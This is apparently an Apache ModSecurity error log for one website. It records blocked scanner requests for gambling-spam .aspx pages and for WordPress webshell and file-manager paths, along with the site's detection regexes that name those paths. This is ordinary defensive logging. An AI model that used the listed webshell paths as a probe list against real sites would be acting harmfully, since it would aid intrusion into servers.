[Wed Apr 15 03:32:01.703725 2026] [:error] [pid 17734:tid 17752] [client 65.108.125.120:45180] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ad6WMdN3xsztF3DFLWwmLgAAAI0"]
[Wed Apr 15 03:32:03.730052 2026] [:error] [pid 62432:tid 62457] [client 65.108.125.120:45188] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ad6WM7PtNET7V_vfTPfwYAAAAVY"]
[Wed Apr 15 03:32:05.713966 2026] [:error] [pid 62432:tid 62443] [client 65.108.125.120:45192] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ad6WNbPtNET7V_vfTPfwYwAAAUg"]
[Wed Apr 15 03:32:07.739312 2026] [:error] [pid 17866:tid 17875] [client 65.108.125.120:33926] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ad6WN7x_17kv70EUVIlX6QAAAYc"]
[Wed Apr 15 03:32:09.708920 2026] [:error] [pid 62296:tid 62350] [client 65.108.125.120:33936] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ad6WOcTNd04nWM2DK4TEAwAAAFc"]
[Wed Apr 15 03:32:11.697143 2026] [:error] [pid 62296:tid 62332] [client 65.108.125.120:33952] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ad6WO8TNd04nWM2DK4TEDQAAAEU"]
[Wed Apr 15 03:32:13.695924 2026] [:error] [pid 62432:tid 62455] [client 65.108.125.120:33960] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ad6WPbPtNET7V_vfTPfwZwAAAVQ"]
[Wed Apr 15 03:32:15.703273 2026] [:error] [pid 17866:tid 17879] [client 65.108.125.120:33970] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ad6WP7x_17kv70EUVIlX7gAAAYs"]
[Wed Apr 15 03:32:17.698996 2026] [:error] [pid 62295:tid 62315] [client 65.108.125.120:36304] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ad6WQRng-JDNFCa0Bnip5wAAABA"]
[Wed Apr 15 03:32:19.702683 2026] [:error] [pid 62296:tid 62349] [client 65.108.125.120:36312] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ad6WQ8TNd04nWM2DK4TEQgAAAFY"]
[Wed Apr 15 03:32:21.725398 2026] [:error] [pid 17734:tid 17746] [client 65.108.125.120:36318] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ad6WRdN3xsztF3DFLWwmQQAAAIc"]
[Wed Apr 15 03:32:23.734099 2026] [:error] [pid 62296:tid 62328] [client 65.108.125.120:36328] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ad6WR8TNd04nWM2DK4TESwAAAEE"]
[Wed Apr 15 03:32:25.742912 2026] [:error] [pid 62295:tid 62305] [client 65.108.125.120:36344] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ad6WSRng-JDNFCa0Bnip8QAAAAY"]
[Wed Apr 15 03:32:27.757458 2026] [:error] [pid 62295:tid 62310] [client 65.108.125.120:64464] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ad6WSxng-JDNFCa0Bnip_gAAAAs"]
[Wed Apr 15 03:32:29.784778 2026] [:error] [pid 62297:tid 62361] [client 65.108.125.120:64472] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "ad6WTavogcWlrafOEaHzZwAAAQc"]
[Wed Apr 15 03:32:31.650807 2026] [:error] [pid 17804:tid 17831] [client 65.108.125.120:64488] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "ad6WTwAZKYxfpamecKeQ8wAAANU"]
[Wed Apr 15 03:32:33.661719 2026] [:error] [pid 62432:tid 62446] [client 65.108.125.120:64500] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "ad6WUbPtNET7V_vfTPfwcwAAAUs"]
[Wed Apr 15 03:32:35.677626 2026] [:error] [pid 62296:tid 62336] [client 65.108.125.120:64502] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "ad6WU8TNd04nWM2DK4TEbwAAAEk"]
[Wed Apr 15 03:32:37.706199 2026] [:error] [pid 62296:tid 62348] [client 65.108.125.120:38780] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "ad6WVcTNd04nWM2DK4TEeAAAAFU"]
[Wed Apr 15 03:32:39.561499 2026] [:error] [pid 17866:tid 17885] [client 65.108.125.120:38786] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "ad6WV7x_17kv70EUVIlYDAAAAZE"]
[Wed Apr 15 03:32:41.567768 2026] [:error] [pid 62295:tid 62313] [client 65.108.125.120:38790] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "ad6WWRng-JDNFCa0BniqCwAAAA4"]
[Wed Apr 15 03:32:43.560557 2026] [:error] [pid 17734:tid 17741] [client 65.108.125.120:38802] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ad6WW9N3xsztF3DFLWwmTgAAAII"]
[Wed Apr 15 03:32:45.558884 2026] [:error] [pid 17734:tid 17763] [client 65.108.125.120:38804] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "ad6WXdN3xsztF3DFLWwmUAAAAJg"]
[Wed Apr 15 03:32:47.556725 2026] [:error] [pid 17866:tid 17878] [client 65.108.125.120:19674] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ad6WX7x_17kv70EUVIlYDgAAAYo"]
[Wed Apr 15 03:32:49.563155 2026] [:error] [pid 62295:tid 62307] [client 65.108.125.120:19676] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "ad6WYRng-JDNFCa0BniqHwAAAAg"]
[Wed Apr 15 03:32:51.581702 2026] [:error] [pid 17734:tid 17747] [client 65.108.125.120:19682] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "ad6WY9N3xsztF3DFLWwmYwAAAIg"]
[Wed Apr 15 03:32:53.604950 2026] [:error] [pid 62295:tid 62304] [client 65.108.125.120:19684] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "ad6WZRng-JDNFCa0BniqLAAAAAU"]
[Wed Apr 15 03:32:55.625906 2026] [:error] [pid 62295:tid 62314] [client 65.108.125.120:19698] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "ad6WZxng-JDNFCa0BniqMgAAAA8"]
[Wed Apr 15 03:33:39.823152 2026] [:error] [pid 62295:tid 62323] [client 65.108.125.120:57098] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ad6Wkxng-JDNFCa0Bniq7wAAABg"]
[Wed Apr 15 03:33:41.831220 2026] [:error] [pid 17926:tid 17944] [client 65.108.125.120:57112] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "ad6WlfKxFvgDwMI04zBqPAAAAcs"]
[Wed Apr 15 03:33:43.814407 2026] [:error] [pid 62296:tid 62349] [client 65.108.125.120:57128] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "ad6Wl8TNd04nWM2DK4TFAgAAAFY"]
[Wed Apr 15 03:33:45.804152 2026] [:error] [pid 17734:tid 17740] [client 65.108.125.120:57136] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "ad6WmdN3xsztF3DFLWwmjAAAAIE"]
[Wed Apr 15 03:33:47.639689 2026] [:error] [pid 17926:tid 17953] [client 65.108.125.120:64146] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "ad6Wm_KxFvgDwMI04zBqPwAAAdQ"]
[Wed Apr 15 03:33:49.638058 2026] [:error] [pid 17734:tid 17751] [client 65.108.125.120:64158] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad6WndN3xsztF3DFLWwmlQAAAIw"]
[Wed Apr 15 03:33:51.652098 2026] [:error] [pid 17866:tid 17885] [client 65.108.125.120:64170] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "ad6Wn7x_17kv70EUVIlYIwAAAZE"]
[Wed Apr 15 03:33:53.667745 2026] [:error] [pid 62297:tid 62366] [client 65.108.125.120:64186] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "ad6WoavogcWlrafOEaHzwQAAAQw"]
[Wed Apr 15 04:34:40.482190 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.154:33967] [client 45.131.195.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ad6k4B15U5D-N99n_jJXNQAAAMo"]
[Wed Apr 15 04:34:46.434871 2026] [:error] [pid 4065:tid 4081] [client 45.131.195.131:48725] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ad6k5gWArgJTHu2_6OyztgAAAAU"]
[Wed Apr 15 04:34:57.281168 2026] [:error] [pid 4065:tid 4100] [client 45.131.195.171:37947] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "ad6k8QWArgJTHu2_6OyzvwAAABg"]
[Wed Apr 15 04:35:04.618777 2026] [:error] [pid 4169:tid 4191] [client 45.131.195.141:45737] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "ad6k-B15U5D-N99n_jJXfgAAANE"]
[Wed Apr 15 04:35:15.374878 2026] [:error] [pid 4067:tid 4155] [client 45.131.195.140:48085] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "ad6lA-5XHBJU8ZrRxZ0aAwAAAJg"]
[Wed Apr 15 04:35:18.285594 2026] [:error] [pid 4065:tid 4098] [client 45.131.195.156:63629] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ad6lBgWArgJTHu2_6OyzzgAAABY"]
[Wed Apr 15 04:35:19.262581 2026] [:error] [pid 4065:tid 4077] [client 45.131.195.156:33785] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ad6lBwWArgJTHu2_6Oyz0AAAAAE"]
[Wed Apr 15 04:35:20.272488 2026] [:error] [pid 4169:tid 4181] [client 45.131.195.149:51827] [client 45.131.195.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ad6lCB15U5D-N99n_jJXuwAAAMk"]
[Wed Apr 15 04:35:21.221595 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.140:48047] [client 45.131.195.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ad6lCR15U5D-N99n_jJXwAAAAM4"]
[Wed Apr 15 04:35:22.113173 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.139:56285] [client 45.131.195.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ad6lCh15U5D-N99n_jJXxwAAAMo"]
[Wed Apr 15 04:35:24.301165 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.189:62033] [client 45.131.195.189] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ad6lDB15U5D-N99n_jJX2QAAAMQ"]
[Wed Apr 15 04:35:27.487362 2026] [:error] [pid 4065:tid 4077] [client 45.131.195.159:59955] [client 45.131.195.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "ad6lDwWArgJTHu2_6Oyz1wAAAAE"]
[Wed Apr 15 04:35:32.345803 2026] [:error] [pid 4066:tid 4124] [client 45.131.195.204:40325] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ad6lFIC2YXfSPsC9O_BR5wAAAFQ"]
[Wed Apr 15 04:35:36.054481 2026] [:error] [pid 4169:tid 4187] [client 45.131.195.251:49839] [client 45.131.195.251] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ad6lGB15U5D-N99n_jJYIgAAAM4"]
[Wed Apr 15 04:35:39.871093 2026] [:error] [pid 4066:tid 4127] [client 45.131.195.181:45645] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ad6lG4C2YXfSPsC9O_BR8wAAAFc"]
[Wed Apr 15 04:35:49.933301 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.174:37063] [client 45.131.195.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ad6lJYC2YXfSPsC9O_BSAwAAAEA"]
[Wed Apr 15 04:35:52.825534 2026] [:error] [pid 4066:tid 4125] [client 45.131.195.185:59429] [client 45.131.195.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ad6lKIC2YXfSPsC9O_BSBwAAAFU"]
